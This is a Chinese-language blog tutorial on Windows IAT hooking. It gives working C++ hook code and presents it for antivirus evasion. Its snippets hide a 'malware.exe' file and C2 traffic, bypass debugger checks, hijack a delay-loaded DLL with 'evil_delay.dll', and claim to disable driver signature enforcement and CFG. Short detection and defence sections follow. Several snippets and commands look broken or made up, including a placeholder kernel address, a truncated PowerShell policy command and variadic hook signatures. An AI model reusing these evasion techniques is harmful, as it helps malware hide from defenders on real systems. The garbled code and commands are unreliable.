一、IAT Hook 技术原理
1.1 Windows PE 文件结构与 IAT
在 Windows 可执行文件(PE 文件)中,导入地址表(Import Address Table, IAT)是动态链接的核心机制。其工作原理如下:
-
编译阶段:程序声明依赖的外部 DLL 函数(如
MessageBoxA
) -
加载阶段:Windows 加载器解析目标 DLL 的导出表,将函数地址填入 IAT
-
运行阶段:程序通过 IAT 中的地址调用外部函数
PE 结构关键成员:
typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; DWORD OriginalFirstThunk; // 指向导入名称表(INT) }; DWORD TimeDateStamp; DWORD ForwarderChain; DWORD Name; // 指向DLL名称字符串(如"user32.dll") DWORD FirstThunk; // 指向IAT(实际函数地址存储位置) } IMAGE_IMPORT_DESCRIPTOR;
1.2 IAT Hook 实现流程
-
定位目标模块:获取目标进程的模块基址(如
user32.dll
) -
遍历导入表:查找指定 DLL 的
IMAGE_IMPORT_DESCRIPTOR
-
定位目标函数:在 IAT 中查找目标函数的地址(如
MessageBoxA
) -
修改 IAT 条目:将原函数地址替换为自定义函数地址
-
构建跳板逻辑:在自定义函数中处理参数并选择性调用原函数
二、IAT Hook 实现详解
2.1 基础实现代码(x86 示例)
#include <Windows.h> #include <imagehlp.h> #include <iostream> // 定义函数指针类型 typedef int (WINAPI* MessageBoxAPtr)(HWND, LPCSTR, LPCSTR, UINT); MessageBoxAPtr OriginalMessageBoxA = nullptr; // 自定义处理函数 int WINAPI HookedMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) { std::cout << "[IAT Hook] 拦截到弹窗调用:\n" << "内容: " << (lpText ? lpText : "NULL") << "\n" << "标题: " << (lpCaption ? lpCaption : "NULL") << std::endl; return OriginalMessageBoxA(hWnd, "内容已被篡改", lpCaption, uType); } // 安装 IAT Hook bool InstallIATHook(HMODULE hModule, LPCSTR szDllName, LPCSTR szFuncName, LPVOID pNewFunc) { // 获取导入表地址 ULONG size; PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR) ImageDirectoryEntryToData(hModule, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size); if (!pImportDesc) return false; // 遍历导入表查找目标DLL for (; pImportDesc->Name; pImportDesc++) { LPCSTR dllName = (LPCSTR)((BYTE*)hModule + pImportDesc->Name); if (_stricmp(dllName, szDllName) != 0) continue; // 获取IAT和INT PIMAGE_THUNK_DATA pIAT = (PIMAGE_THUNK_DATA)((BYTE*)hModule + pImportDesc->FirstThunk); PIMAGE_THUNK_DATA pINT = (PIMAGE_THUNK_DATA)((BYTE*)hModule + pImportDesc->OriginalFirstThunk); // 遍历IAT查找目标函数 for (; pIAT->u1.Function; pIAT++, pINT++) { // 通过函数名查找 if (pINT->u1.Ordinal & IMAGE_ORDINAL_FLAG) continue; // 忽略序号导入 PIMAGE_IMPORT_BY_NAME pImport = (PIMAGE_IMPORT_BY_NAME)((BYTE*)hModule + pINT->u1.AddressOfData); if (_stricmp((LPCSTR)pImport->Name, szFuncName) != 0) continue; // 备份原地址 OriginalMessageBoxA = (MessageBoxAPtr)pIAT->u1.Function; // 修改内存保护 DWORD oldProtect; VirtualProtect(&pIAT->u1.Function, sizeof(DWORD), PAGE_READWRITE, &oldProtect); // 替换IAT条目 pIAT->u1.Function = (DWORD)pNewFunc; // 恢复保护 VirtualProtect(&pIAT->u1.Function, sizeof(DWORD), oldProtect, &oldProtect); return true; } } return false; } int main() { HMODULE hExe = GetModuleHandle(NULL); // 获取当前模块句柄 if (InstallIATHook(hExe, "user32.dll", "MessageBoxA", HookedMessageBoxA)) { MessageBoxA(NULL, "原始内容", "测试弹窗", MB_OK); } return 0; }
代码解析:
-
ImageDirectoryEntryToData:获取导入表目录地址
-
双指针遍历:通过
OriginalFirstThunk
(INT)获取函数名,通过FirstThunk
(IAT)修改地址 -
内存保护修改:使用
VirtualProtect
临时解除内存写保护 -
函数地址替换:将目标函数的 IAT 条目指向自定义函数
三、免杀应用场景
3.1 敏感 API 隐藏
通过 Hook 以下 API 实现行为隐匿:
// 隐藏文件操作 BOOL WINAPI HookedCreateFileW(LPCWSTR lpFileName, ...) { if (wcsstr(lpFileName, L"malware.exe")) { SetLastError(ERROR_FILE_NOT_FOUND); return INVALID_HANDLE_VALUE; } return OriginalCreateFileW(lpFileName, ...); } // 隐藏网络通信 int WINAPI HookedSend(SOCKET s, const char* buf, int len, ...) { if (strstr(buf, "C2_Data")) { // 加密或丢弃敏感数据 return len; } return OriginalSend(s, buf, len, ...); }
3.2 反调试绕过
Hook 调试相关 API:
// 绕过 IsDebuggerPresent BOOL WINAPI HookedIsDebuggerPresent() { return FALSE; } // 混淆 CheckRemoteDebuggerPresent BOOL WINAPI HookedCheckRemoteDebuggerPresent(HANDLE hProcess, PBOOL pbDebuggerPresent) { *pbDebuggerPresent = FALSE; return TRUE; }
四、检测与对抗技术
4.1 IAT Hook 检测方法
检测类型 | 实现方式 |
---|---|
IAT 完整性校验 | 对比磁盘PE文件与内存IAT条目 |
模块地址验证 | 检查函数地址是否在合法模块范围内 |
签名验证 | 验证函数地址指向的模块是否受信任 |
4.2 高级对抗实现
4.2.1 延迟加载(Delay-Load)Hook
// 劫持延迟加载DLL的IAT #pragma comment(lib, "Delayimp.lib") #pragma comment(linker, "/DELAYLOAD:delay.dll") // 重写延迟加载钩子 FARPROC WINAPI DelayHook(unsigned dliNotify, PDelayLoadInfo pdli) { if (dliNotify == dliNotePreLoadLibrary && strcmp(pdli->szDll, "delay.dll") == 0) { return (FARPROC)LoadLibraryA("evil_delay.dll"); } return NULL; } // 设置延迟加载钩子 const PfnDliHook __pfnDliNotifyHook2 = DelayHook;
4.2.2 动态 IAT 重建
// 运行时动态解析原始IAT void RebuildIAT(HMODULE hModule) { // 1. 从磁盘读取原始PE头 // 2. 解析原始IAT地址 // 3. 使用LoadLibrary+GetProcAddress重新填充IAT }
五、现代防御机制
5.1 代码完整性保护(CI)
-
驱动签名强制(DSE):内核模块需微软签名
-
受保护进程(Protected Process):禁止外部模块注入
绕过示例(需管理员权限):
// 禁用驱动签名验证 typedef NTSTATUS(NTAPI* pNtSetSystemInformation)(INT, PVOID, ULONG); pNtSetSystemInformation NtSetSystemInformation = (pNtSetSystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtSetSystemInformation"); INT mode = 1; // Disable DSE NtSetSystemInformation(0x6D, &mode, sizeof(INT));
5.2 控制流防护(CFG)
通过 Hook LdrpValidateUserCallTarget
绕过 CFG 检查:
// 修改CFG校验结果(需内核权限) void DisableCFGCheck() { BYTE patch[] = {0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3}; // mov eax,1; ret WriteKernelMemory(L"ntoskrnl.exe", 0x12345678, patch, sizeof(patch)); }
六、防御方案建议
6.1 企业级防护
-
启用代码完整性策略:
# 部署WHQL签名策略 New-CIPolicy -FilePath Baseline.xml -Level Publishe
-
进程行为监控:
# 记录IAT修改事件 New-EventFilter -ProviderName "Microsoft-Windows-Kernel-Process" -EventId 5 # ProcessCreate
6.2 开发者防护
// 运行时IAT自检 bool VerifyIATIntegrity(HMODULE hModule) { // 1. 从磁盘读取原始IAT // 2. 对比内存IAT条目 // 3. 发现篡改则终止进程 }
七、技术演进方向
-
硬件辅助 Hook:
-
利用 Intel CET 技术保护控制流
-
基于 TPM 的模块完整性验证
-
-
AI 对抗技术:
-
使用生成对抗网络(GAN)生成合法 IAT 模式
-
强化学习优化 Hook 触发条件
-
-
跨进程 IAT 注入:
-
通过 APC 注入重建目标进程 IAT
-
利用 WSL 子系统绕过用户层监控
-
法律声明:本文所述技术仅供安全研究使用,禁止用于非法用途。实际防御需结合业务场景调整。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)